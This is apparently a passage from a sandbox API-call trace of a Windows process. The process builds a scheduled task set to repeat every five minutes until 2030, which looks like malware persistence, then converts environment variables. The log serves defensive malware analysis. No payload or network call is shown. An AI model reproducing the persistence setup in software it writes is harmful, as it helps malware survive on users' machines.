ppRegistrationInfo=0x18c0cc*=0x2750a10) returned 0x0 [0047.006] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0xc) returned 0x308c2a0 [0047.006] IRegistrationInfo:put_Author (This=0x2750a10, Author="Author Name") returned 0x0 [0047.006] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x308c2a0 | out: hHeap=0x6d0000) returned 1 [0047.006] IUnknown:Release (This=0x2750a10) returned 0x1 [0047.006] ITaskDefinition:get_Principal (in: This=0x2750950, ppPrincipal=0x18c0d4 | out: ppPrincipal=0x18c0d4*=0x2750ba0) returned 0x0 [0047.006] IPrincipal:put_LogonType (This=0x2750ba0, LogonType=3) returned 0x0 [0047.006] IUnknown:Release (This=0x2750ba0) returned 0x1 [0047.006] ITaskDefinition:get_Settings (in: This=0x2750950, ppSettings=0x18c0dc | out: ppSettings=0x18c0dc*=0x2750ac0) returned 0x0 [0047.006] ITaskSettings:put_StartWhenAvailable (This=0x2750ac0, StartWhenAvailable=1) returned 0x0 [0047.006] IUnknown:Release (This=0x2750ac0) returned 0x1 [0047.006] ITaskSettings:get_IdleSettings (in: This=0x2750ac0, ppIdleSettings=0x18c0c0 | out: ppIdleSettings=0x18c0c0*=0x2750b30) returned 0x0 [0047.007] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0xc) returned 0x308c2a0 [0047.007] IIdleSettings:put_WaitTimeout (This=0x2750b30, WaitTimeout="PT5M") returned 0x0 [0047.007] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x308c2a0 | out: hHeap=0x6d0000) returned 1 [0047.007] IUnknown:Release (This=0x2750b30) returned 0x1 [0047.007] ITaskDefinition:get_Triggers (in: This=0x2750950, ppTriggers=0x18c0bc | out: ppTriggers=0x18c0bc*=0x2750a80) returned 0x0 [0047.007] ITriggerCollection:Create (in: This=0x2750a80, Type=1, ppTrigger=0x18c0c8 | out: ppTrigger=0x18c0c8*=0x2750c00) returned 0x0 [0047.007] IUnknown:Release (This=0x2750a80) returned 0x1 [0047.007] IUnknown:QueryInterface (in: This=0x2750c00, riid=0x45004c*(Data1=0xb45747e0, Data2=0xeba7, Data3=0x4276, Data4=([0]=0x9f, [1]=0x29, [2]=0x85, [3]=0xc5, [4]=0xbb, [5]=0x30, [6]=0x0, [7]=0x6)), ppvObject=0x18c0e4 | out: ppvObject=0x18c0e4*=0x2750c00) returned 0x0 [0047.007] IUnknown:Release (This=0x2750c00) returned 0x2 [0047.007] ITrigger:get_Repetition (in: This=0x2750c00, ppRepeat=0x18c0d0 | out: ppRepeat=0x18c0d0*=0x2750c50) returned 0x0 [0047.007] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0xc) returned 0x308c2a0 [0047.007] IRepetitionPattern:put_Interval (This=0x2750c50, Interval="PT5M") returned 0x0 [0047.007] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x308c2a0 | out: hHeap=0x6d0000) returned 1 [0047.007] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0xc) returned 0x308c2a0 [0047.007] IRepetitionPattern:put_Duration (This=0x2750c50, Duration="") returned 0x0 [0047.007] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x308c2a0 | out: hHeap=0x6d0000) returned 1 [0047.008] ITrigger:put_Repetition (This=0x2750c00, Repetition=0x2750c50) returned 0x0 [0047.008] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0xc) returned 0x308c2a0 [0047.008] ITrigger:put_Id (This=0x2750c00, Id="Trigger1") returned 0x0 [0047.008] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x308c2a0 | out: hHeap=0x6d0000) returned 1 [0047.008] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0xc) returned 0x308c2a0 [0047.008] ITrigger:put_EndBoundary (This=0x2750c00, EndBoundary="2030-05-02T08:00:00") returned 0x0 [0047.008] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x308c2a0 | out: hHeap=0x6d0000) returned 1 [0047.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bba4 | out: lpSystemTimeAsFileTime=0x18bba4*(dwLowDateTime=0xa8ebe7d0, dwHighDateTime=0x1d53993)) [0047.008] GetLastError () returned 0x0 [0047.008] SetLastError (dwErrCode=0x0) [0047.008] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x24) returned 0x30be800 [0047.008] GetLastError () returned 0x0 [0047.008] SetLastError (dwErrCode=0x0) [0047.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0047.008] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x1f) returned 0x3082d70 [0047.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x3082d70, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 31 [0047.008] GetLastError () returned 0x0 [0047.008] SetLastError (dwErrCode=0x0) [0047.008] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x4) returned 0x3034740 [0047.008] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x3034740) returned 0x4 [0047.008] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x3034740, Size=0x8) returned 0x3034750 [0047.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0047.008] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x36) returned 0x799c08 [0047.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", cchWideChar=-1, lpMultiByteStr=0x799c08, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming", lpUsedDefaultChar=0x0) returned 54 [0047.008] GetLastError () returned 0x0 [0047.008] SetLastError (dwErrCode=0x0) [0047.008] GetLastError () returned 0x0 [0047.009] SetLastError (dwErrCode=0x0) [0047.009] GetLastError () returned 0x0 [0047.009] SetLastError (dwErrCode=0x0) [0047.009] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x3034750) returned 0x8 [0047.009] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x3034750, Size=0xc) returned 0x308c2a0 [0047.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0047.009] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x37) returned 0x30bad70 [0047.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x30bad70, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 55 [0047.009] GetLastError () returned 0x0 [0047.009] SetLastError (dwErrCode=0x0) [0047.009] GetLastError () returned 0x0 [0047.009] SetLastError (dwErrCode=0x0) [0047.009] GetLastError () returned 0x0 [0047.009] SetLastError (dwErrCode=0x0) [0047.009] GetLastError () returned 0x0 [0047.009] SetLastError (dwErrCode=0x0) [0047.009] GetLastError () returned 0x0 [0047.009] SetLastError (dwErrCode=0x0) [0047.009] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x308c2a0) returned 0xc [0047.009] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x308c2a0, Size=0x10) returned 0x308c2d0 [0047.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0047.009] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x3c) returned 0x3093e50 [0047.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", cchWideChar=-1, lpMultiByteStr=0x3093e50, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramFiles(x86)=C:\\Program Files (x86)\\Common Files", lpUsedDefaultChar=0x0) returned 60 [0047.009] GetLastError () returned 0x0 [0047.009] SetLastError (dwErrCode=0x0) [0047.009] GetLastError () returned 0x0 [0047.009] SetLastError (dwErrCode=0x0) [0047.009] GetLastError () returned 0x0 [0047.009] SetLastError (dwErrCode=0x0) [0047.009] GetLastError () returned 0x0 [0047.009] SetLastError (dwErrCode=0x0) [0047.009] GetLastError () returned 0x0 [0047.010] SetLastError (dwErrCode=0x0) [0047.010] GetLastError () returned 0x0 [0047.010] SetLastError (dwErrCode=0x0) [0047.010] GetLastError () returned 0x0 [0047.010] SetLastError (dwErrCode=0x0) [0047.010] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x308c2d0) returned 0x10 [0047.010] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x308c2d0, Size=0x14) returned 0x7836b0 [0047.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0047.010] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x31) returned 0x30bacf0 [0047.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CommonProgramW6432=C:\\Program Files\\Common Files", cchWideChar=-1, lpMultiByteStr=0x30bacf0, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CommonProgramW6432=C:\\Program Files\\Common Files", lpUsedDefaultChar=0x0) returned 49 [0047.010] GetLastError () returned 0x0 [0047.010] SetLastError (dwErrCode=0x0) [0047.010] GetLastError () returned 0x0 [0047.010] SetLastError (dwErrCode=0x0) [0047.010] GetLastError () returned 0x0 [0047.010] SetLastError (dwErrCode=0x0) [0047.010] GetLastError () returned 0x0 [0047.010] SetLastError (dwErrCode=0x0) [0047.010] GetLastError () returned 0x0 [0047.010] SetLastError (dwErrCode=0x0) [0047.010] GetLastError () returned 0x0 [0047.010] SetLastError (dwErrCode=0x0) [0047.010] GetLastError () returned 0x0 [0047.010] SetLastError (dwErrCode=0x0) [0047.010] GetLastError () returned 0x0 [0047.010] SetLastError (dwErrCode=0x0) [0047.010] GetLastError () returned 0x0 [0047.010] SetLastError (dwErrCode=0x0) [0047.010] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x7836b0) returned 0x14 [0047.010] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x7836b0, Size=0x18) returned 0x783b30 [0047.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0047.010] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x17) returned 0x7836b0 [0047.010] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPUTERNAME=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x7836b0, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPUTERNAME=XDUWTFONO", lpUsedDefaultChar=0x0) returned 23 [0047.011] GetLastError () returned 0x0 [0047.011] SetLastError (dwErrCode=0x0) [0047.011] GetLastError () returned 0x0 [0047.011] SetLastError (dwErrCode=0x0) [0047.011] GetLastError () returned 0x0 [0047.011] SetLastError (dwErrCode=0x0) [0047.011] GetLastError () returned 0x0 [0047.011] SetLastError (dwErrCode=0x0) [0047.011] GetLastError () returned 0x0 [0047.011] SetLastError (dwErrCode=0x0) [0047.011] GetLastError () returned 0x0 [0047.011] SetLastError (dwErrCode=0x0) [0047.011] GetLastError () returned 0x0 [0047.011] SetLastError (dwErrCode=0x0) [0047.011] GetLastError () returned 0x0 [0047.011] SetLastError (dwErrCode=0x0) [0047.011] GetLastError () returned 0x0 [0047.011] SetLastError (dwErrCode=0x0) [0047.011] GetLastError () returned 0x0 [0047.011] SetLastError (dwErrCode=0x0) [0047.011] GetLastError () returned 0x0 [0047.011] SetLastError (dwErrCode=0x0) [0047.011] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x783b30) returned 0x18 [0047.011] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x783b30, Size=0x1c) returned 0x3082d98 [0047.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0047.011] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x24) returned 0x30be830 [0047.011] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ComSpec=C:\\Windows\\system32\\cmd.exe", cchWideChar=-1, lpMultiByteStr=0x30be830, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ComSpec=C:\\Windows\\system32\\cmd.exe", lpUsedDefaultChar=0x0) returned 36 [0047.011] GetLastError () returned 0x0 [0047.011] SetLastError (dwErrCode=0x0) [0047.011] GetLastError () returned 0x0 [0047.011] SetLastError (dwErrCode=0x0) [0047.011] GetLastError () returned 0x0 [0047.011] SetLastError (dwErrCode=0x0) [0047.012] GetLastError () returned 0x0 [0047.012] SetLastError (dwErrCode=0x0) [0047.012] GetLastError () returned 0x0 [0047.012] SetLastError (dwErrCode=0x0) [0047.012] GetLastError () returned 0x0 [0047.012] SetLastError (dwErrCode=0x0) [0047.012] GetLastError () returned 0x0 [0047.012] SetLastError (dwErrCode=0x0) [0047.012] GetLastError () returned 0x0 [0047.012] SetLastError (dwErrCode=0x0) [0047.012] GetLastError () returned 0x0 [0047.012] SetLastError (dwErrCode=0x0) [0047.012] GetLastError () returned 0x0 [0047.012] SetLastError (dwErrCode=0x0) [0047.012] GetLastError () returned 0x0 [0047.012] SetLastError (dwErrCode=0x0) [0047.012] GetLastError () returned 0x0 [0047.012] SetLastError (dwErrCode=0x0) [0047.012] GetLastError () returned 0x0 [0047.012] SetLastError (dwErrCode=0x0) [0047.012] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x3082d98) returned 0x1c [0047.012] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x3082d98, Size=0x20) returned 0x3082dc0 [0047.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0047.012] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x14) returned 0x783b30 [0047.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="FP_NO_HOST_CHECK=NO", cchWideChar=-1, lpMultiByteStr=0x783b30, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="FP_NO_HOST_CHECK=NO", lpUsedDefaultChar=0x0) returned 20 [0047.012] GetLastError () returned 0x0 [0047.012] SetLastError (dwErrCode=0x0) [0047.012] GetLastError () returned 0x0 [0047.012] SetLastError (dwErrCode=0x0) [0047.012] GetLastError () returned 0x0 [0047.012] SetLastError (dwErrCode=0x0) [0047.012] GetLastError () returned 0x0 [0047.013] SetLastError (dwErrCode=0x0) [0047.013] GetLastError () returned 0x0 [0047.013] SetLastError (dwErrCode=0x0) [0047.013] GetLastError () returned 0x0 [0047.013] SetLastError (dwErrCode=0x0) [0047.013] GetLastError () returned 0x0 [0047.013] SetLastError (dwErrCode=0x0) [0047.013] GetLastError () returned 0x0 [0047.013] SetLastError (dwErrCode=0x0) [0047.013] GetLastError () returned 0x0 [0047.013] SetLastError (dwErrCode=0x0) [0047.013] GetLastError () returned 0x0 [0047.013] SetLastError (dwErrCode=0x0) [0047.013] GetLastError () returned 0x0 [0047.013] SetLastError (dwErrCode=0x0) [0047.013] GetLastError () returned 0x0 [0047.013] SetLastError (dwErrCode=0x0) [0047.013] GetLastError () returned 0x0 [0047.013] SetLastError (dwErrCode=0x0) [0047.013] GetLastError () returned 0x0 [0047.013] SetLastError (dwErrCode=0x0) [0047.013] GetLastError () returned 0x0 [0047.013] SetLastError (dwErrCode=0x0) [0047.013] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x3082dc0) returned 0x20 [0047.013] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x3082dc0, Size=0x24) returned 0x30be9e0 [0047.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.013] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0xd) returned 0x308c2d0 [0047.013] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEDRIVE=C:", cchWideChar=-1, lpMultiByteStr=0x308c2d0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEDRIVE=C:", lpUsedDefaultChar=0x0) returned 13 [0047.013] GetLastError () returned 0x0 [0047.013] SetLastError (dwErrCode=0x0) [0047.013] GetLastError () returned 0x0 [0047.013] SetLastError (dwErrCode=0x0) [0047.013] GetLastError () returned 0x0 [0047.014] SetLastError (dwErrCode=0x0) [0047.014] GetLastError () returned 0x0 [0047.014] SetLastError (dwErrCode=0x0) [0047.014] GetLastError () returned 0x0 [0047.014] SetLastError (dwErrCode=0x0) [0047.014] GetLastError () returned 0x0 [0047.014] SetLastError (dwErrCode=0x0) [0047.014] GetLastError () returned 0x0 [0047.014] SetLastError (dwErrCode=0x0) [0047.014] GetLastError () returned 0x0 [0047.014] SetLastError (dwErrCode=0x0) [0047.014] GetLastError () returned 0x0 [0047.014] SetLastError (dwErrCode=0x0) [0047.014] GetLastError () returned 0x0 [0047.014] SetLastError (dwErrCode=0x0) [0047.014] GetLastError () returned 0x0 [0047.014] SetLastError (dwErrCode=0x0) [0047.014] GetLastError () returned 0x0 [0047.014] SetLastError (dwErrCode=0x0) [0047.014] GetLastError () returned 0x0 [0047.014] SetLastError (dwErrCode=0x0) [0047.014] GetLastError () returned 0x0 [0047.014] SetLastError (dwErrCode=0x0) [0047.014] GetLastError () returned 0x0 [0047.014] SetLastError (dwErrCode=0x0) [0047.014] GetLastError () returned 0x0 [0047.014] SetLastError (dwErrCode=0x0) [0047.014] GetLastError () returned 0x0 [0047.014] SetLastError (dwErrCode=0x0) [0047.014] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x30be9e0) returned 0x24 [0047.014] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x30be9e0, Size=0x28) returned 0x30be9b0 [0047.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0047.014] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x25) returned 0x30be9e0 [0047.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x30be9e0, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HOMEPATH=\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 37 [0047.015] GetLastError () returned 0x0 [0047.015] SetLastError (dwErrCode=0x0) [0047.015] GetLastError () returned 0x0 [0047.015] SetLastError (dwErrCode=0x0) [0047.015] GetLastError () returned 0x0 [0047.015] SetLastError (dwErrCode=0x0) [0047.015] GetLastError () returned 0x0 [0047.015] SetLastError (dwErrCode=0x0) [0047.015] GetLastError () returned 0x0 [0047.015] SetLastError (dwErrCode=0x0) [0047.015] GetLastError () returned 0x0 [0047.015] SetLastError (dwErrCode=0x0) [0047.015] GetLastError () returned 0x0 [0047.015] SetLastError (dwErrCode=0x0) [0047.015] GetLastError () returned 0x0 [0047.015] SetLastError (dwErrCode=0x0) [0047.015] GetLastError () returned 0x0 [0047.015] SetLastError (dwErrCode=0x0) [0047.015] GetLastError () returned 0x0 [0047.015] SetLastError (dwErrCode=0x0) [0047.015] GetLastError () returned 0x0 [0047.015] SetLastError (dwErrCode=0x0) [0047.015] GetLastError () returned 0x0 [0047.015] SetLastError (dwErrCode=0x0) [0047.015] GetLastError () returned 0x0 [0047.015] SetLastError (dwErrCode=0x0) [0047.015] GetLastError () returned 0x0 [0047.015] SetLastError (dwErrCode=0x0) [0047.015] GetLastError () returned 0x0 [0047.015] SetLastError (dwErrCode=0x0) [0047.015] GetLastError () returned 0x0 [0047.016] SetLastError (dwErrCode=0x0) [0047.016] GetLastError () returned 0x0 [0047.016] SetLastError (dwErrCode=0x0) [0047.016] GetLastError () returned 0x0 [0047.016] SetLastError (dwErrCode=0x0) [0047.016] GetLastError () returned 0x0 [0047.016] SetLastError (dwErrCode=0x0) [0047.016] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x30be9b0) returned 0x28 [0047.016] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x30be9b0, Size=0x2c) returned 0x30803c8 [0047.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 57 [0047.016] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x39) returned 0x3093e98 [0047.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", cchWideChar=-1, lpMultiByteStr=0x3093e98, cbMultiByte=57, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOCALAPPDATA=C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", lpUsedDefaultChar=0x0) returned 57 [0047.016] GetLastError () returned 0x0 [0047.016] SetLastError (dwErrCode=0x0) [0047.016] GetLastError () returned 0x0 [0047.016] SetLastError (dwErrCode=0x0) [0047.016] GetLastError () returned 0x0 [0047.016] SetLastError (dwErrCode=0x0) [0047.016] GetLastError () returned 0x0 [0047.016] SetLastError (dwErrCode=0x0) [0047.016] GetLastError () returned 0x0 [0047.016] SetLastError (dwErrCode=0x0) [0047.016] GetLastError () returned 0x0 [0047.016] SetLastError (dwErrCode=0x0) [0047.016] GetLastError () returned 0x0 [0047.016] SetLastError (dwErrCode=0x0) [0047.016] GetLastError () returned 0x0 [0047.017] SetLastError (dwErrCode=0x0) [0047.017] GetLastError () returned 0x0 [0047.017] SetLastError (dwErrCode=0x0) [0047.017] GetLastError () returned 0x0 [0047.017] SetLastError (dwErrCode=0x0) [0047.017] GetLastError () returned 0x0 [0047.017] SetLastError (dwErrCode=0x0) [0047.017] GetLastError () returned 0x0 [0047.017] SetLastError (dwErrCode=0x0) [0047.017] GetLastError () returned 0x0 [0047.017] SetLastError (dwErrCode=0x0) [0047.017] GetLastError () returned 0x0 [0047.017] SetLastError (dwErrCode=0x0) [0047.017] GetLastError () returned 0x0 [0047.017] SetLastError (dwErrCode=0x0) [0047.017] GetLastError () returned 0x0 [0047.017] SetLastError (dwErrCode=0x0) [0047.017] GetLastError () returned 0x0 [0047.017] SetLastError (dwErrCode=0x0) [0047.017] GetLastError () returned 0x0 [0047.017] SetLastError (dwErrCode=0x0) [0047.017] GetLastError () returned 0x0 [0047.017] SetLastError (dwErrCode=0x0) [0047.017] GetLastError () returned 0x0 [0047.017] SetLastError (dwErrCode=0x0) [0047.017] GetLastError () returned 0x0 [0047.017] SetLastError (dwErrCode=0x0) [0047.017] RtlSizeHeap (HeapHandle=0x6d0000, Flags=0x0, MemoryPointer=0x30803c8) returned 0x2c [0047.017] RtlReAllocateHeap (Heap=0x6d0000, Flags=0x0, Ptr=0x30803c8, Size=0x30) returned 0x30806a0 [0047.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0047.017] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x18) returned 0x3070520 [0047.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x3070520, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\XDUWTFONO", lpUsedDefaultChar=0x0) returned 24 [0047.017] GetLastError () returned 0x0 [0047.018] SetLastError (dwErrCode=0x0) [0047.018] GetLastError () returned 0x0 [0047.018] SetLastError (dwErrCode=0x0) [0047.018] GetLastError () returned 0x0 [0047.018] SetLastError (dwErrCode=0x0) [0047.018] GetLastError () returned 0x0 [0047.018] SetLastError (dwErrCode=0x0) [0047.018] GetLastError () returned 0x0 [0047.018] SetLastError (dwErrCode=0x0) [0047.018] GetLastError () returned 0x0 [0047.018] SetLastError (dwErrCode=0x0) [0047.018] GetLastError () returned 0x0 [0047.018] SetLastError (dwErrCode=0x0) [0047.018] GetLastError () returned 0x0 [0047.018] SetLastError (dwErrCode=0x0) [0047.018] GetLastError () returned 0x0 [0047.018] SetLastError (dwErrCode=0x0) [0047.018] GetLastError () returned 0x0 [0047.018] SetLastError (dwErrCode=0x0) [0047.018] GetLastError () returned 0x0 [0047.018] SetLastError (dwErrCode=0x0) [0047.018] GetLastError () returned 0x0 [0047.018] SetLastError (dwErrCode=0x0) [0047.018] GetLastError () returned 0x0 [0047.018] SetLastError (dwErrCode=0x0) [0047.018] GetLastError () returned 0x0 [0047.018] SetLastError (dwErrCode=0x0) [0047.018] GetLastError () returned 0x0 [0047.018] SetLastError (dwErrCode=0x0) [0047.018] GetLastError () returned 0x0 [0047.018] SetLastError (dwErrCode=0x0) [0047.019] GetLastError () returned 0x0 [0047.019] SetLastError (dwErrCode=0x0) [0047.019] GetLastError () returned 0x0 [0047.019] SetLastError (dwErrCode=0x0) [0047.019] GetLastError () returned 0x0 [0047.019] SetLastError (dwErrCode=0x0) [0047.019] GetLastError () returned 0x0 [0047.019] SetLastError (dwErrCode=0x0) [0047.019] GetLastError () returned 0x0 [0047.019] SetLastError (dwErrCode=0x0) [0047.019] GetLastError () returned 0x0 [0047.019] SetLastError (dwErrCode=0x0) 